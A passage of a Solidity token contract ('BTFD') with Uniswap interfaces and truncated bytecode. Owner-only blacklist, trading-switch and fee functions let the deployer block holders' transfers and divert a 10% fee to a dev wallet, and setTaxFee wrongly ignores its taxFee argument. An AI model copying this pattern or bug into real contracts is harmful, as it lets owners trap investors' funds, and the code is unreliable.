https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BTFD is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private _isBlackListedBot; address[] private _blackListedBots; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Buy The Fucking Dip"; string private _symbol = "BTFD"; uint8 private _decimals = 9; uint256 public _taxFee; uint256 private _previousTaxFee = _taxFee; uint256 public _devFee; uint256 private _previousDevFee = _devFee; address payable public _devWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndSend; bool public swapAndSendEnabled = true; bool private tradingEnabled = false; uint256 public _maxTxAmount = 10000 * 10**6 * 10**9; uint256 private numTokensSellToAddToLiquidity = 500 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); address private _admin; event SwapAndSendEnabledUpdated(bool enabled); event SwapAndSend( uint256 tokensSwapped, uint256 ethReceived ); modifier lockTheSwap { inSwapAndSend = true; _; inSwapAndSend = false; } constructor (address payable devWalletAddress) { _devWalletAddress = devWalletAddress; _admin = _msgSender(); _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function setDevFeeDisabled(bool _devFeeEnabled ) public returns (bool){ require(msg.sender == _admin, "OnlyAdmin can disable dev fee"); swapAndSendEnabled = _devFeeEnabled; return(swapAndSendEnabled); } /*depl address can always change fees to lower than 10 to allow the project to scale*/ function setTaxFee(uint256 taxFee, uint256 devFee ) public { require(msg.sender == _admin, "OnlyAdmin can disable dev fee"); require(taxFee<12, "Reflection tax can not be greater than 10"); require(devFee<12, "Dev tax can not be greater than 10"); require(devFee.add(taxFee)<16, "Total Fees cannot be greater than 15"); _taxFee = devFee; _devFee = devFee; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function _setdevWallet(address payable devWalletAddress) external onlyOwner() { _devWalletAddress = devWalletAddress; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } function setSwapAndSendEnabled(bool _enabled) public onlyOwner { swapAndSendEnabled = _enabled; emit SwapAndSendEnabledUpdated(_enabled); } function manualswap() external { require(_msgSender() == _admin); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _admin); uint256 contractETHBalance = address(this).balance; sendETHTodev(contractETHBalance); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateDevFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateDevFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_devFee).div( 10**2 ); } function addBotToBlackList(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!_isBlackListedBot[account], "Account is already blacklisted"); _isBlackListedBot[account] = true; _blackListedBots.push(account); } function removeBotFromBlackList(address account) external onlyOwner() { require(_isBlackListedBot[account], "Account is not blacklisted"); for (uint256 i = 0; i < _blackListedBots.length; i++) { if (_blackListedBots[i] == account) { _blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1]; _isBlackListedBot[account] = false; _blackListedBots.pop(); break; } } } function openTrading() external onlyOwner() { require(!tradingEnabled, "Trading has already Been enabled"); _taxFee = 2; _devFee = 10; tradingEnabled = true; swapAndSendEnabled = true; } function removeAllFee() private { if(_taxFee == 0 && _devFee == 0) return; _previousTaxFee = _taxFee; _previousDevFee = _devFee; _taxFee = 0; _devFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _devFee = _previousDevFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function getDevFee() public view returns(uint256) { return _devFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlackListedBot[to], "You have no power here!"); require(!_isBlackListedBot[msg.sender], "You have no power here!"); require(!_isBlackListedBot[from], "You have no power here!"); if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); require(tradingEnabled, "Trading has not been enabled"); } // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && swapAndSendEnabled ) { //add liquidity swapAndSend(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndSend(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 tokenBalance = contractTokenBalance; // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(tokenBalance); // <- breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); sendETHTodev(newBalance); // add liquidity to uniswap emit SwapAndSend(tokenBalance, newBalance); } function sendETHTodev(uint256 amount) private { _devWalletAddress.transfer(amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x6080604052600436106102555760003560e01c8063715018a611610139578063aae11571116100b6578063c9567bf91161007a578063c9567bf91461070f578063d543dbeb14610724578063dd62ed3e14610744578063e379382a1461078a578063ea2f0b37146107ab578063f2fde38b146107cb57600080fd5b8063aae1157114610685578063b425bac3146106a5578063c3c8cd80146106c5578063c5528490146106da578063c7287e9d146106fa57600080fd5b806395d89b41116100fd57806395d89b41146105fa578063a0c072d41461060f578063a457c2d71461062f578063a9059cbb1461064f578063aa45026b1461066f57600080fd5b8063715018a6146105585780637d1db4a51461056d5780637ded4d6a1461058357806388f82020146105a35780638da5cb5b146105dc57600080fd5b806339509351116101d25780634549b039116101965780634549b0391461047657806349bd5a5e1461049657806352390c02146104ca5780635342acb4146104ea5780636fc3eaec1461052357806370a082311461053857600080fd5b806339509351146103e05780633b124fe7146104005780633bd5d173146104165780634303443d14610436578063437823ec1461045657600080fd5b806323b872dd1161021957806323b872dd1461033c5780632663236f1461035c5780632d8381191461037e578063313ce5671461039e5780633685d419146103c057600080fd5b806306fdde0314610261578063095ea7b31461028c57806313114a9d146102bc5780631694505e146102db57806318160ddd1461032757600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b506102766107eb565b6040516102839190612b14565b60405180910390f35b34801561029857600080fd5b506102ac6102a7366004612a6b565b61087d565b6040519015158152602001610283565b3480156102c857600080fd5b50600d545b604051908152602001610283565b3480156102e757600080fd5b5061030f7f000000